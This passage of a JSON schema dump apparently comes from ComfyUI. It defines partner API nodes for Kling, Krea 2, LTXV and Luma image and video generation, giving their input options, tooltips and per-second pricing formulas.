[null], "output_matchtypes": null, "name": "KlingImageToVideoWithAudio", "display_name": "Kling 2.6 Image(First Frame) to Video with Audio", "description": "", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.07 * widgets.duration * (widgets.generate_audio ? 2 : 1)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingMotionControl": {"input": {"required": {"prompt": ["STRING", {"multiline": true}], "reference_image": ["IMAGE", {}], "reference_video": ["VIDEO", {"tooltip": "Motion reference video used to drive movement/expression.\nDuration limits depend on character_orientation:\n - image: 3\u201310s (max 10s)\n - video: 3\u201330s (max 30s)"}], "keep_original_sound": ["BOOLEAN", {"default": true}], "character_orientation": ["COMBO", {"tooltip": "Controls where the character's facing/orientation comes from.\nvideo: movements, expressions, camera moves, and orientation follow the motion reference video (other details via prompt).\nimage: movements and expressions still follow the motion reference video, but the character orientation matches the reference image (camera/other details via prompt).", "multiselect": false, "options": ["video", "image"]}], "mode": ["COMBO", {"multiselect": false, "options": ["pro", "std"]}]}, "optional": {"model": ["COMBO", {"multiselect": false, "options": ["kling-v3", "kling-v2-6"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "reference_image", "reference_video", "keep_original_sound", "character_orientation", "mode"], "optional": ["model"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingMotionControl", "display_name": "Kling Motion Control", "description": "", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}, {"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"kling-v3\": {\"std\": 0.126, \"pro\": 0.168},\n \"kling-v2-6\": {\"std\": 0.07, \"pro\": 0.112}\n };\n $modelPrices := $lookup($prices, widgets.model);\n {\"type\":\"usd\",\"usd\": $lookup($modelPrices, widgets.mode), \"format\":{\"suffix\":\"/second\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingVideoNode": {"input": {"required": {"multi_shot": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Generate a series of video segments with individual prompts and durations.", "options": [{"key": "disabled", "inputs": {"required": {"prompt": ["STRING", {"default": "", "multiline": true}], "negative_prompt": ["STRING", {"default": "", "multiline": true}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}]}}}, {"key": "1 storyboard", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "2 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "3 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "4 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "5 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}, {"key": "6 storyboards", "inputs": {"required": {"storyboard_1_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 1. Max 512 characters.", "default": "", "multiline": true}], "storyboard_1_duration": ["INT", {"tooltip": "Duration for storyboard segment 1 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_2_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 2. Max 512 characters.", "default": "", "multiline": true}], "storyboard_2_duration": ["INT", {"tooltip": "Duration for storyboard segment 2 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_3_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 3. Max 512 characters.", "default": "", "multiline": true}], "storyboard_3_duration": ["INT", {"tooltip": "Duration for storyboard segment 3 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_4_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 4. Max 512 characters.", "default": "", "multiline": true}], "storyboard_4_duration": ["INT", {"tooltip": "Duration for storyboard segment 4 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_5_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 5. Max 512 characters.", "default": "", "multiline": true}], "storyboard_5_duration": ["INT", {"tooltip": "Duration for storyboard segment 5 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}], "storyboard_6_prompt": ["STRING", {"tooltip": "Prompt for storyboard segment 6. Max 512 characters.", "default": "", "multiline": true}], "storyboard_6_duration": ["INT", {"tooltip": "Duration for storyboard segment 6 in seconds.", "default": 4, "min": 1, "max": 15, "display": "slider"}]}}}]}], "generate_audio": ["BOOLEAN", {"tooltip": "'kling-3.0-turbo' always generates native audio, so the audio toggle is ignored.", "default": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model and generation settings.", "options": [{"key": "kling-v3", "inputs": {"required": {"resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}], "aspect_ratio": ["COMBO", {"tooltip": "Ignored in image-to-video mode.", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}]}}}, {"key": "kling-3.0-turbo", "inputs": {"required": {"resolution": ["COMBO", {"default": "720p", "multiselect": false, "options": ["1080p", "720p"]}], "aspect_ratio": ["COMBO", {"tooltip": "Ignored in image-to-video mode.", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "optional": {"start_frame": ["IMAGE", {"tooltip": "Optional start frame image. When connected, switches to image-to-video mode."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["multi_shot", "generate_audio", "model", "seed"], "optional": ["start_frame"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingVideoNode", "display_name": "Kling 3.0 Video", "description": "Generate videos with Kling V3. Supports text-to-video and image-to-video with optional storyboard multi-prompt and audio generation.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}, {"name": "multi_shot", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "multi_shot.duration", "type": "INT"}, {"name": "multi_shot.storyboard_1_duration", "type": "INT"}, {"name": "multi_shot.storyboard_2_duration", "type": "INT"}, {"name": "multi_shot.storyboard_3_duration", "type": "INT"}, {"name": "multi_shot.storyboard_4_duration", "type": "INT"}, {"name": "multi_shot.storyboard_5_duration", "type": "INT"}, {"name": "multi_shot.storyboard_6_duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $ms := widgets.multi_shot;\n $isSb := $ms != \"disabled\";\n $n := $isSb ? $number($substring($ms, 0, 1)) : 0;\n $d1 := $lookup(widgets, \"multi_shot.storyboard_1_duration\");\n $d2 := $n >= 2 ? $lookup(widgets, \"multi_shot.storyboard_2_duration\") : 0;\n $d3 := $n >= 3 ? $lookup(widgets, \"multi_shot.storyboard_3_duration\") : 0;\n $d4 := $n >= 4 ? $lookup(widgets, \"multi_shot.storyboard_4_duration\") : 0;\n $d5 := $n >= 5 ? $lookup(widgets, \"multi_shot.storyboard_5_duration\") : 0;\n $d6 := $n >= 6 ? $lookup(widgets, \"multi_shot.storyboard_6_duration\") : 0;\n $dur := $isSb ? $d1 + $d2 + $d3 + $d4 + $d5 + $d6 : $lookup(widgets, \"multi_shot.duration\");\n widgets.model = \"kling-3.0-turbo\"\n ? {\"type\":\"usd\",\"usd\": ($res = \"1080p\" ? 0.14 : 0.112) * $dur}\n : (\n $rates := {\n \"4k\": {\"off\": 0.42, \"on\": 0.42},\n \"1080p\": {\"off\": 0.112, \"on\": 0.168},\n \"720p\": {\"off\": 0.084, \"on\": 0.126}\n };\n $audio := widgets.generate_audio ? \"on\" : \"off\";\n $rate := $lookup($lookup($rates, $res), $audio);\n {\"type\":\"usd\",\"usd\": $rate * $dur}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingFirstLastFrameNode": {"input": {"required": {"prompt": ["STRING", {"default": "", "multiline": true}], "duration": ["INT", {"default": 5, "min": 3, "max": 15, "display": "slider"}], "first_frame": ["IMAGE", {}], "end_frame": ["IMAGE", {}], "generate_audio": ["BOOLEAN", {"default": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model and generation settings.", "options": [{"key": "kling-v3", "inputs": {"required": {"resolution": ["COMBO", {"default": "1080p", "multiselect": false, "options": ["4k", "1080p", "720p"]}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "duration", "first_frame", "end_frame", "generate_audio", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingFirstLastFrameNode", "display_name": "Kling 3.0 First-Last-Frame to Video", "description": "Generate videos with Kling V3 using first and last frames.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model.resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}, {"name": "duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rates := {\n \"4k\": {\"off\": 0.42, \"on\": 0.42},\n \"1080p\": {\"off\": 0.112, \"on\": 0.168},\n \"720p\": {\"off\": 0.084, \"on\": 0.126}\n };\n $res := $lookup(widgets, \"model.resolution\");\n $audio := widgets.generate_audio ? \"on\" : \"off\";\n $rate := $lookup($lookup($rates, $res), $audio);\n {\"type\":\"usd\",\"usd\": $rate * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KlingAvatarNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Avatar reference image. Width and height must be at least 300px. Aspect ratio must be between 1:2.5 and 2.5:1."}], "sound_file": ["AUDIO", {"tooltip": "Audio input. Must be between 2 and 300 seconds in duration."}], "mode": ["COMBO", {"multiselect": false, "options": ["std", "pro"]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true, "display": "number"}]}, "optional": {"prompt": ["STRING", {"tooltip": "Optional prompt to define avatar actions, emotions, and camera movements.", "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "sound_file", "mode", "seed"], "optional": ["prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "KlingAvatarNode", "display_name": "Kling Avatar 2.0", "description": "Generate broadcast-style digital human videos from a single photo and an audio file.", "python_module": "comfy_api_nodes.nodes_kling", "category": "partner/video/Kling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\"std\": 0.056, \"pro\": 0.112};\n {\"type\":\"usd\",\"usd\": $lookup($prices, widgets.mode), \"format\":{\"suffix\":\"/second\"}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Krea2ImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for the image.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Krea 2 Medium is best for expressive illustrations; Krea 2 Large is best for expressive photorealism.", "options": [{"key": "Krea 2 Medium", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output aspect ratio.", "multiselect": false, "options": ["1:1", "4:3", "3:2", "16:9", "2.35:1", "4:5", "2:3", "9:16"]}], "resolution": ["COMBO", {"tooltip": "Resolution scale.", "multiselect": false, "options": ["1K"]}], "creativity": ["COMBO", {"tooltip": "Prompt interpretation strength: raw stays closest to the prompt; high is most creative.", "default": "medium", "multiselect": false, "options": ["raw", "low", "medium", "high"]}]}, "optional": {"moodboard_id": ["STRING", {"tooltip": "Optional Krea moodboard UUID (e.g. from the Krea website). Leave empty to disable. Only one moodboard is supported per request.", "default": "", "multiline": false}], "moodboard_strength": ["FLOAT", {"tooltip": "Moodboard influence; ignored when moodboard_id is empty.", "default": 0.35, "min": -0.5, "max": 1.5, "step": 0.05}], "style_reference": ["KREA_STYLE_REF", {"tooltip": "Optional chain of style references (max 10) from Krea 2 Style Reference nodes."}]}}}, {"key": "Krea 2 Medium Turbo", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output aspect ratio.", "multiselect": false, "options": ["1:1", "4:3", "3:2", "16:9", "2.35:1", "4:5", "2:3", "9:16"]}], "resolution": ["COMBO", {"tooltip": "Resolution scale.", "multiselect": false, "options": ["1K"]}], "creativity": ["COMBO", {"tooltip": "Prompt interpretation strength: raw stays closest to the prompt; high is most creative.", "default": "medium", "multiselect": false, "options": ["raw", "low", "medium", "high"]}]}, "optional": {"moodboard_id": ["STRING", {"tooltip": "Optional Krea moodboard UUID (e.g. from the Krea website). Leave empty to disable. Only one moodboard is supported per request.", "default": "", "multiline": false}], "moodboard_strength": ["FLOAT", {"tooltip": "Moodboard influence; ignored when moodboard_id is empty.", "default": 0.35, "min": -0.5, "max": 1.5, "step": 0.05}], "style_reference": ["KREA_STYLE_REF", {"tooltip": "Optional chain of style references (max 10) from Krea 2 Style Reference nodes."}]}}}, {"key": "Krea 2 Large", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "Output aspect ratio.", "multiselect": false, "options": ["1:1", "4:3", "3:2", "16:9", "2.35:1", "4:5", "2:3", "9:16"]}], "resolution": ["COMBO", {"tooltip": "Resolution scale.", "multiselect": false, "options": ["1K"]}], "creativity": ["COMBO", {"tooltip": "Prompt interpretation strength: raw stays closest to the prompt; high is most creative.", "default": "medium", "multiselect": false, "options": ["raw", "low", "medium", "high"]}]}, "optional": {"moodboard_id": ["STRING", {"tooltip": "Optional Krea moodboard UUID (e.g. from the Krea website). Leave empty to disable. Only one moodboard is supported per request.", "default": "", "multiline": false}], "moodboard_strength": ["FLOAT", {"tooltip": "Moodboard influence; ignored when moodboard_id is empty.", "default": 0.35, "min": -0.5, "max": 1.5, "step": 0.05}], "style_reference": ["KREA_STYLE_REF", {"tooltip": "Optional chain of style references (max 10) from Krea 2 Style Reference nodes."}]}}}]}], "seed": ["INT", {"tooltip": "Random seed for reproducibility.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Krea2ImageNode", "display_name": "Krea 2 Image", "description": "Generate images via Krea 2 \u2014 pick Medium (expressive illustrations) or Large (expressive photorealism). Supports an optional moodboard and up to 10 chained image style references.", "python_module": "comfy_api_nodes.nodes_krea", "category": "partner/image/Krea", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.moodboard_id", "type": "STRING"}], "inputs": ["model.style_reference"], "input_groups": []}, "expr": "\n (\n $rates := {\n \"krea 2 medium turbo\": {\"text\": 0.015, \"style\": 0.0175, \"moodboard\": 0.02},\n \"krea 2 medium\": {\"text\": 0.03, \"style\": 0.035, \"moodboard\": 0.04},\n \"krea 2 large\": {\"text\": 0.06, \"style\": 0.065, \"moodboard\": 0.07}\n };\n $r := $lookup($rates, widgets.model);\n $hasMoodboard := $length($lookup(widgets, \"model.moodboard_id\")) > 0;\n $hasStyle := $lookup(inputs, \"model.style_reference\").connected;\n $usd := $hasMoodboard ? $r.moodboard : ($hasStyle ? $r.style : $r.text);\n {\"type\":\"usd\",\"usd\": $usd}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Krea2StyleReferenceNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Reference image whose style influences the generation."}], "strength": ["FLOAT", {"tooltip": "Reference strength; negative values invert the style influence.", "default": 1.0, "min": -2.0, "max": 2.0, "step": 0.05}]}, "optional": {"style_reference": ["KREA_STYLE_REF", {"tooltip": "Optional incoming chain of style references; this node appends one more."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["image", "strength"], "optional": ["style_reference"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id"]}, "is_input_list": false, "output": ["KREA_STYLE_REF"], "output_is_list": [false], "output_name": ["style_reference"], "output_tooltips": [null], "output_matchtypes": null, "name": "Krea2StyleReferenceNode", "display_name": "Krea 2 Style Reference", "description": "Add an image style reference to a Krea 2 generation. Chain multiple Krea 2 Style Reference nodes (max 10) and feed the final `style_reference` output into Krea 2 Image. Each image is uploaded to ComfyAPI storage and passed as URL.", "python_module": "comfy_api_nodes.nodes_krea", "category": "partner/image/Krea", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LtxvApiTextToVideo": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["LTX-2 (Pro)", "LTX-2 (Fast)"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "duration": ["COMBO", {"default": 8, "multiselect": false, "options": [6, 8, 10, 12, 14, 16, 18, 20]}], "resolution": ["COMBO", {"multiselect": false, "options": ["1920x1080", "2560x1440", "3840x2160"]}], "fps": ["COMBO", {"default": 25, "multiselect": false, "options": [25, 50]}]}, "optional": {"generate_audio": ["BOOLEAN", {"tooltip": "When true, the generated video will include AI-generated audio matching the scene.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "duration", "resolution", "fps"], "optional": ["generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LtxvApiTextToVideo", "display_name": "LTXV Text To Video", "description": "Professional-quality videos with customizable duration and resolution.", "python_module": "comfy_api_nodes.nodes_ltxv", "category": "partner/video/LTXV", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"ltx-2 (pro)\": {\"1920x1080\":0.06,\"2560x1440\":0.12,\"3840x2160\":0.24},\n \"ltx-2 (fast)\": {\"1920x1080\":0.04,\"2560x1440\":0.08,\"3840x2160\":0.16}\n };\n $modelPrices := $lookup($prices, $lowercase(widgets.model));\n $pps := $lookup($modelPrices, widgets.resolution);\n {\"type\":\"usd\",\"usd\": $pps * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LtxvApiImageToVideo": {"input": {"required": {"image": ["IMAGE", {"tooltip": "First frame to be used for the video."}], "model": ["COMBO", {"multiselect": false, "options": ["LTX-2 (Pro)", "LTX-2 (Fast)"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "duration": ["COMBO", {"default": 8, "multiselect": false, "options": [6, 8, 10, 12, 14, 16, 18, 20]}], "resolution": ["COMBO", {"multiselect": false, "options": ["1920x1080", "2560x1440", "3840x2160"]}], "fps": ["COMBO", {"default": 25, "multiselect": false, "options": [25, 50]}]}, "optional": {"generate_audio": ["BOOLEAN", {"tooltip": "When true, the generated video will include AI-generated audio matching the scene.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "model", "prompt", "duration", "resolution", "fps"], "optional": ["generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LtxvApiImageToVideo", "display_name": "LTXV Image To Video", "description": "Professional-quality videos with customizable duration and resolution based on start image.", "python_module": "comfy_api_nodes.nodes_ltxv", "category": "partner/video/LTXV", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"ltx-2 (pro)\": {\"1920x1080\":0.06,\"2560x1440\":0.12,\"3840x2160\":0.24},\n \"ltx-2 (fast)\": {\"1920x1080\":0.04,\"2560x1440\":0.08,\"3840x2160\":0.16}\n };\n $modelPrices := $lookup($prices, $lowercase(widgets.model));\n $pps := $lookup($modelPrices, widgets.resolution);\n {\"type\":\"usd\",\"usd\": $pps * widgets.duration}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LumaImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["photon-1", "photon-flash-1"]}], "aspect_ratio": ["COMBO", {"default": "16:9", "multiselect": false, "options": ["1:1", "16:9", "9:16", "4:3", "3:4", "21:9", "9:21"]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "style_image_weight": ["FLOAT", {"tooltip": "Weight of style image. Ignored if no style_image provided.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}, "optional": {"image_luma_ref": ["LUMA_REF", {"tooltip": "Luma Reference node connection to influence generation with input images; up to 4 images can be considered."}], "style_image": ["IMAGE", {"tooltip": "Style reference image; only 1 image will be used."}], "character_image": ["IMAGE", {"tooltip": "Character reference images; can be a batch of multiple, up to 4 images can be considered."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "aspect_ratio", "seed", "style_image_weight"], "optional": ["image_luma_ref", "style_image", "character_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LumaImageNode", "display_name": "Luma Text to Image", "description": "Generates images synchronously based on prompt and aspect ratio.", "python_module": "comfy_api_nodes.nodes_luma", "category": "partner/image/Luma", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, 